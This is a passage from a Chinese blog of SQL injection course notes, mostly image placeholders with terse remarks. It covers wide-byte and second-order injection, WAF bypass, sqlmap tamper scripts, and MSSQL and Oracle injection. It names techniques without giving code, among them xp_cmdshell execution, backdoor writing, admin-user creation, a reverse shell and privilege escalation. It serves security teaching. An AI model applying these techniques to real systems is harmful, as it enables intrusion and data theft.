 在接收这样字符串的程序中如需还原成中文,就分别用unescape和decodeURI。
 其他程序语言中都有相应的url字符转码函数。

在这里插入图片描述
在这里插入图片描述在这里插入图片描述在这里插入图片描述在这里插入图片描述
字符替换 SQL注入防护

  • gbk编码连接
    在这里插入图片描述在这里插入图片描述在这里插入图片描述在这里插入图片描述
    在这里插入图片描述在这里插入图片描述

联合查询
报错 / 直接页面显示
在这里插入图片描述 在这里插入图片描述
在这里插入图片描述
在这里插入图片描述
在这里插入图片描述
在这里插入图片描述
在这里插入图片描述
在这里插入图片描述在这里插入图片描述
在这里插入图片描述
在这里插入图片描述在这里插入图片描述
在这里插入图片描述
在这里插入图片描述在这里插入图片描述
在这里插入图片描述
在这里插入图片描述
php 内置函数

在这里插入图片描述

  • 宽字节防御

用utf-8 彻底杜绝
在这里插入图片描述
在这里插入图片描述

使用二进制 数据库连接

在这里插入图片描述
在这里插入图片描述

4.2 二次编码注入

在这里插入图片描述
在这里插入图片描述
防止发生歧义

在这里插入图片描述

各个语言 都有 自己的 解码工具类

在这里插入图片描述
在这里插入图片描述
在这里插入图片描述
在这里插入图片描述在这里插入图片描述在这里插入图片描述在这里插入图片描述在这里插入图片描述
在这里插入图片描述
构造错误
在这里插入图片描述在这里插入图片描述
在这里插入图片描述
在这里插入图片描述

4.3 二次注入

在这里插入图片描述在这里插入图片描述
在这里插入图片描述
在这里插入图片描述
认为数据库 中 可信

在这里插入图片描述在这里插入图片描述在这里插入图片描述在这里插入图片描述
在这里插入图片描述

重置数据库

在这里插入图片描述在这里插入图片描述在这里插入图片描述
在这里插入图片描述
经过 php 方法 特殊字符 转义

在这里插入图片描述

在这里插入图片描述在这里插入图片描述在这里插入图片描述在这里插入图片描述
在这里插入图片描述
在这里插入图片描述在这里插入图片描述在这里插入图片描述
在这里插入图片描述
在这里插入图片描述

  • mysql_real_eacape_string() 特殊字符转义
    在这里插入图片描述在这里插入图片描述在这里插入图片描述
    在这里插入图片描述
    在这里插入图片描述在这里插入图片描述
    在这里插入图片描述
    在这里插入图片描述
    在这里插入图片描述
    在这里插入图片描述在这里插入图片描述
    在这里插入图片描述
    在这里插入图片描述
    在这里插入图片描述在这里插入图片描述
    在这里插入图片描述
    在这里插入图片描述
    在这里插入图片描述
    在这里插入图片描述
    在这里插入图片描述
    在这里插入图片描述
    在这里插入图片描述
    在这里插入图片描述
    在这里插入图片描述
    在这里插入图片描述
    在这里插入图片描述
    在这里插入图片描述
    在这里插入图片描述
二次注入防御:外部提交的数据 进行谨慎对待 (不仅仅是 特殊字符转义)

在这里插入图片描述

  • 默认 从数据库 中查询到的 数据 就是 安全的

在这里插入图片描述
windows 环境 – 其他环境 也可以 考虑 dnslog注入

linux 只能 使用 二次注入

4.4 WAF绕过原理分析

防护:代码层、网络层、服务器层

  • waf 网站应用级入侵防御系统。英文:Web Application Firewall

在这里插入图片描述
在这里插入图片描述

  • 了解 中间件 机制 iis tomcat nginx
    在这里插入图片描述
  • preg_replace() + i 忽略大小写

在这里插入图片描述在这里插入图片描述
在这里插入图片描述
在这里插入图片描述
在这里插入图片描述
在这里插入图片描述
中间件 和 waf 的 区别 进行 污染
在这里插入图片描述
在这里插入图片描述

  • 能够注入

  • waf 规则 匹配不到的 数据格式

  • %25 为 %

在这里插入图片描述
在这里插入图片描述
在这里插入图片描述
在这里插入图片描述在这里插入图片描述

在这里插入图片描述
在这里插入图片描述

  • %20

在这里插入图片描述
在这里插入图片描述
在这里插入图片描述
在这里插入图片描述
在这里插入图片描述
在这里插入图片描述

  • 挑一个 可以注入的

在这里插入图片描述在这里插入图片描述
在这里插入图片描述
在这里插入图片描述

  • 把空格 全部替换
    确定 页面 只有 三列
    在这里插入图片描述
    在这里插入图片描述
    在这里插入图片描述
    在这里插入图片描述

  • 分割

在这里插入图片描述
在这里插入图片描述

在这里插入图片描述
在这里插入图片描述

4.5 SQLmap绕过WAF脚本编写

应对waf时 定制化 payload 继续注入

在这里插入图片描述
在这里插入图片描述

sqlmap 介绍

在这里插入图片描述在这里插入图片描述

  • 指明对 哪一个参数 进行测试 -d
    在这里插入图片描述
    id = 1 后 键入 *
  • 在一些 伪静态场景很好用
    在这里插入图片描述
  • –dbs 列出所有库 的名称
    在这里插入图片描述
执行系统命令 -os-shell

sqlserver sa用户 --> 调用 SqlServer系统内置函数---->执行命令
mysql (前提知道网站所在目录)写入后门文件到目录 —>执行系统命令
在这里插入图片描述
执行 sql语句 -sql-shell
输入 sql 语句

读文件 + 路径
写文件 + 本地文件 --file-dest 目标及文件

Tamper脚本介绍

在这里插入图片描述
在这里插入图片描述

编写Tamper

在这里插入图片描述
在这里插入图片描述
在这里插入图片描述
在这里插入图片描述
在这里插入图片描述
在这里插入图片描述
在这里插入图片描述

  • PHP函数 preg_replace
    在这里插入图片描述

\s 空白字符
\t 换行符

在这里插入图片描述

  • 刷新 重新开始 --flush-session
    在这里插入图片描述
    在这里插入图片描述
    在这里插入图片描述
  • union all select
    在这里插入图片描述
    在这里插入图片描述
  • %a0换行符 空格
  • %0a 空格

在这里插入图片描述在这里插入图片描述
在这里插入图片描述
在这里插入图片描述
在这里插入图片描述

在这里插入图片描述
在这里插入图片描述
在这里插入图片描述
在这里插入图片描述

答案:

1、解析: C、注解:很显然,utf-8并不是宽字节。
2、解析: B、注解:键入%df,尝试于转义字符\进行组合,形成汉字字符。
3、解析: C、注解:B,使用强校验,防御所有可能的恶意语句,可以有效避免SQL注入。
4、解析: D、注解:云WAF一班都有较好的防护性能和较强的防护规则,期望构造语句进行绕过可能存在困难,我们选择寻找真实的IP,就能一劳永逸的绕过防护,当然,这也只是应用在一些场景。
5、解析: B、注解:replace函数的格式为A

第五章:MsSQL数据库注入

5.1 MsSQL数据库环境搭建

在这里插入图片描述

  • mssql 数据库 特性
    asp.net + mssql
    在这里插入图片描述

  • sqlserver
    在这里插入图片描述

  • 权限配置 对整个服务器造成隐患

绕过 注入流程 与 mysql 没什么区别

  • 数据库结构
  • 函数名
  • 数据操作语言
  • 存储过程

在这里插入图片描述
在这里插入图片描述

  • 数据默认存放目录

  • 身份验证 windows(SQLserver 不参加验证) / 混合 (或)验证

  • SA 是 SqlServer最高权限-超级管理员 登录需要密码

  • 密码复杂 有要求
    在这里插入图片描述
    登录后
    在这里插入图片描述
    在这里插入图片描述

  • 带 ## 有证书 创建 在SqlServer 内部使用

  • 映射一个 win系统账户

  • NT 也是 内置账户 实现 特使功能 mssql server

  • 在这里插入图片描述
    在这里插入图片描述

  • 两层 并行 安全架构 权限

sysadmin
public

在这里插入图片描述

db_owner DBO
public

在这里插入图片描述
在这里插入图片描述
在这里插入图片描述
在这里插入图片描述

  • sqlserver SID 安全标识符

TSQL 数据操作语言

在这里插入图片描述
在这里插入图片描述在这里插入图片描述

在这里插入图片描述
创建更复杂的 存储过程

在这里插入图片描述
master 一切对象 信息 sa 和其他账号的 密码
model 创建用户 数据库 的模板
msdb 用户数据库 任务调度 告警 操作 元信息
tempdb 临时数据库 数据库 重启 丢失

在这里插入图片描述
新建数据库用户
在这里插入图片描述
在这里插入图片描述
DML 管理语句
DDL 修改数据库结构
DCL 授权语句

在这里插入图片描述
在这里插入图片描述
在这里插入图片描述
只是一个视图 并没有这个表

从 视图里 查询

在这里插入图片描述

iis 服务器组件

在这里插入图片描述
在这里插入图片描述在这里插入图片描述
在这里插入图片描述
在这里插入图片描述
在这里插入图片描述
在这里插入图片描述
在这里插入图片描述
在这里插入图片描述
添加 iis user

在这里插入图片描述
在这里插入图片描述
在这里插入图片描述
数据连接 在 webconfig设置

  • index.aspx

在这里插入图片描述在这里插入图片描述
在这里插入图片描述
在这里插入图片描述
在这里插入图片描述
添加这个控件 自动生成 ConnectionStrings 连接 需要

在这里插入图片描述
在这里插入图片描述
在这里插入图片描述
在这里插入图片描述
在这里插入图片描述
在这里插入图片描述
在这里插入图片描述

在这里插入图片描述

关闭default 这个 127.0.0.1 本地 站在这里插入图片描述
在这里插入图片描述
在这里插入图片描述
localsystem 是 安装时候 的 权限 SqlServer

在这里插入图片描述

  • 修改项目

在这里插入图片描述
在这里插入图片描述
在这里插入图片描述
在这里插入图片描述
在这里插入图片描述
在这里插入图片描述
在这里插入图片描述
在这里插入图片描述在这里插入图片描述
直接拼接
没过滤 参数化处理

在这里插入图片描述

在这里插入图片描述
在这里插入图片描述
在这里插入图片描述
在这里插入图片描述

  • https://websec.ca/kb/sql_injection

sql注入备忘录

在这里插入图片描述
在这里插入图片描述

5.2 MsSQL数据库注入

 MSSQL(MicroSoft SQL Server数据库)
微软开发的关系型数据库管理系统DBMS
较大型的数据库
提供数据库的从服务器到终端的完整的解决方案,
数据库管理系统SSMS(SQL Server Managerment Studio),是一个用于建立、使用和维护数据库的集成开发环境。 端口号:1433

在这里插入图片描述
存储过程
视图名 函数名
站库分离
多语句注入

在这里插入图片描述
TSQL 数据语言
mssql 大量存在 存储过程

形成中间代码 存放在 数据库中

特定功能 第一次编译后直接运行 不需要再次编译

xp_cmdshell存储过程 让攻击者方便

在这里插入图片描述

管理员自己创建的 存储过程 审计
实现越权

在这里插入图片描述
在这里插入图片描述
在这里插入图片描述

在这里插入图片描述
无回显 盲注

在这里插入图片描述
在这里插入图片描述

% 为模糊匹配
在这里插入图片描述

  • and 布尔探测 数据库版本

在这里插入图片描述
在这里插入图片描述

… 两个 点省略 dbo 架构

在这里插入图片描述
在这里插入图片描述
在这里插入图片描述
在这里插入图片描述
在这里插入图片描述
在这里插入图片描述
在这里插入图片描述

与mysql 不一样的 地方

在这里插入图片描述
在这里插入图片描述
在这里插入图片描述

sysobjects存放 数据库中 一些对象

面向对象 思想

xpath 查询 这些对象 类别
在这里插入图片描述
在这里插入图片描述
在这里插入图片描述

在这里插入图片描述

top 与 limit

在这里插入图片描述在这里插入图片描述

在这里插入图片描述
not in 排除

在这里插入图片描述
在这里插入图片描述
information_schema 视图
在这里插入图片描述
在这里插入图片描述
在这里插入图片描述
mysql pdo 多语句查询

在这里插入图片描述
在这里插入图片描述
是不允许 dml调用 dcl 类型

绕过

在这里插入图片描述
在这里插入图片描述

在这里插入图片描述
在这里插入图片描述
在这里插入图片描述
在这里插入图片描述
在这里插入图片描述
在这里插入图片描述
多语句 注入 闭合
在这里插入图片描述在这里插入图片描述

  • 要求数据库权限
    在这里插入图片描述
    在这里插入图片描述
    在这里插入图片描述
    创建 表 再从表中 盲注 布尔注入
    在这里插入图片描述

在这里插入图片描述

bulk insert 大量插入

在这里插入图片描述
在这里插入图片描述

声明变量

在这里插入图片描述
在这里插入图片描述
在这里插入图片描述

在这里插入图片描述
在这里插入图片描述
在这里插入图片描述
在这里插入图片描述
在这里插入图片描述
在这里插入图片描述
在这里插入图片描述
dbo 伪造备份 写入

在这里插入图片描述
在这里插入图片描述
在这里插入图片描述
在这里插入图片描述
在这里插入图片描述
在这里插入图片描述
在这里插入图片描述
在这里插入图片描述

  • 必须 有 数据库 做过备份
    在这里插入图片描述

写入 二进制 木马

在这里插入图片描述

在这里插入图片描述
在这里插入图片描述
下载 木马

在这里插入图片描述
14版本 默认
在这里插入图片描述

在这里插入图片描述
在这里插入图片描述
在这里插入图片描述

5.3 MsSQL数据库注入

盲注 遍历 数据管理员创建的 存储过程 安全审计 很常见
数据库不安全的 配置属性

在这里插入图片描述

在这里插入图片描述
在这里插入图片描述
在这里插入图片描述
在这里插入图片描述

cmder

在这里插入图片描述
在这里插入图片描述
在这里插入图片描述

-p 加 攻击参数

在这里插入图片描述
在这里插入图片描述
在这里插入图片描述
在这里插入图片描述
在这里插入图片描述
在这里插入图片描述

在这里插入图片描述
在这里插入图片描述
在这里插入图片描述
在这里插入图片描述
在这里插入图片描述
在这里插入图片描述
在这里插入图片描述

添加用户
管理员
开启 远程桌面 控制

在这里插入图片描述
在这里插入图片描述
安装权限

在这里插入图片描述
在这里插入图片描述
在这里插入图片描述

services.msc

在这里插入图片描述
权限修改

在这里插入图片描述
在这里插入图片描述
08 开启

在这里插入图片描述
无法 多语句执行

也没法 子语句调用

在这里插入图片描述
在这里插入图片描述
遍历 存储过程

在这里插入图片描述
同一个 域渗透

后渗透 攻击 流量 转发内网

powershell 免杀 处理

在这里插入图片描述
在这里插入图片描述
在这里插入图片描述
在这里插入图片描述
在这里插入图片描述

在这里插入图片描述

在这里插入图片描述
在这里插入图片描述
在这里插入图片描述

在这里插入图片描述在这里插入图片描述
在这里插入图片描述
在这里插入图片描述
在这里插入图片描述
在这里插入图片描述
在这里插入图片描述
在这里插入图片描述
权限 敏感信息 审计

在这里插入图片描述
在这里插入图片描述
在这里插入图片描述
在这里插入图片描述
在这里插入图片描述
在这里插入图片描述
在这里插入图片描述在这里插入图片描述
在这里插入图片描述
python R 语言命令
留下后门

在这里插入图片描述
在这里插入图片描述

第六章:Oracle数据库注入

6.1 Oracle数据库环境搭建

在这里插入图片描述

tomcat搭建 eclipse

在这里插入图片描述
在这里插入图片描述
关键字绕过、waf绕过
都差不多

语言 和 权限结构 + 提权操作 盲注 函数

数据中心 有 很多分支
存储过程 提权

在这里插入图片描述

在这里插入图片描述

在这里插入图片描述
在这里插入图片描述
在这里插入图片描述
在这里插入图片描述
在这里插入图片描述
在这里插入图片描述
在这里插入图片描述
在这里插入图片描述
系统权限 和 对象权限 权限传递方式不一样
撤销 影响不一样

在这里插入图片描述
在这里插入图片描述
在这里插入图片描述
在这里插入图片描述
在这里插入图片描述
在这里插入图片描述
在这里插入图片描述
授权撤销后 会不会收回
在这里插入图片描述
面向过程 特性

在这里插入图片描述
在这里插入图片描述
在这里插入图片描述
在这里插入图片描述
在这里插入图片描述
在这里插入图片描述
在这里插入图片描述
在这里插入图片描述
在这里插入图片描述

6.2 Oracle数据库注入

在这里插入图片描述
在这里插入图片描述

  • 查询 必须 跟上表名 或者 dual虚拟表 对 select 语句进行补充

  • mysql 查询 会有 数据类型的 转换 (一种弱 匹配漏洞)

在这里插入图片描述在这里插入图片描述

oracle 注入测试方法

在这里插入图片描述

  • 在null 替换 关键字 ctrl F 寻找 回显字符
  • 表名 列名 加 双引号 order by 判断列数 在这里插入图片描述

在这里插入图片描述
在这里插入图片描述在这里插入图片描述

在这里插入图片描述

  • sys.v_$version 数据库版本信息 备份全局的视图
    在这里插入图片描述

在这里插入图片描述

  • 查询数据表
    在这里插入图片描述
  • oracle 用 ROWNUM 来筛选 数据
    在这里插入图片描述

<> == !=号

在这里插入图片描述

在这里插入图片描述

报错注入 盲注

web页面上 是 500 报错信息

  • get_host_name 参数类型 不匹配导致 ip ----字符串

在这里插入图片描述
在这里插入图片描述在这里插入图片描述

  • 主题词 表 报错
    在这里插入图片描述
    在这里插入图片描述

  • upper 全部结果 大写

  • XMLtype 内 参数 chr ASCII方式 解析为字符

  • 在这里插入图片描述

  • || 字符串拼接

  • 查表 为< : > xml 一定格式要求

回显时候 数据带空格 / 会导致 数据被截断 数据显示 不完全
加别的函数 把 空格 替换成 其他字符 /空

在这里插入图片描述

在这里插入图片描述

在这里插入图片描述

参数 类型不匹配 导致报错
错误信息 被 攻击者 发现 系统敏感数据

  • web 应用 错误 没有被 及时捕捉 和 处理 直接 输出 在 web 页面

在这里插入图片描述

  • 布尔盲注 为 返回 0 /1 页面不同

在这里插入图片描述

在这里插入图片描述
在这里插入图片描述
在这里插入图片描述
在这里插入图片描述
在这里插入图片描述
在这里插入图片描述
在这里插入图片描述
在这里插入图片描述
在这里插入图片描述
在这里插入图片描述

  • 外带 发送 request 请求
    在这里插入图片描述
    在这里插入图片描述
    在这里插入图片描述
    在这里插入图片描述

6.3 Oracle数据库注入

  • oracle 提权操作
    在这里插入图片描述
    命令执行 提升权限

linux oracle 反弹 shell

在这里插入图片描述

  • 用户 登录名 口令
    远程登录 提权

  • 存储过程 权限 定义 调用
    在这里插入图片描述
    在这里插入图片描述

  • DBMS_EXPORT_EXTENSION
    在这里插入图片描述在这里插入图片描述

在这里插入图片描述
在这里插入图片描述
在这里插入图片描述
引入 双引号 隔离 之前的语句
去执行 我们插入的 sql 语句

在这里插入图片描述
在这里插入图片描述
执行
sys 权限执行 插入 语句
在这里插入图片描述

创建 一个 java 库
调用 java 虚拟机 底层函数

在这里插入图片描述
在这里插入图片描述
在这里插入图片描述在这里插入图片描述
在这里插入图片描述
在这里插入图片描述
begin dbms_java.grant_permission

语法格式

在这里插入图片描述
在这里插入图片描述
在这里插入图片描述
在这里插入图片描述

sys dba权限 赋予 public

在这里插入图片描述
在这里插入图片描述
在这里插入图片描述
![在这里插入图片描述](https://img-blog.csdnimg.cn/c20de74867b640b1a7d4c1aa7

评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值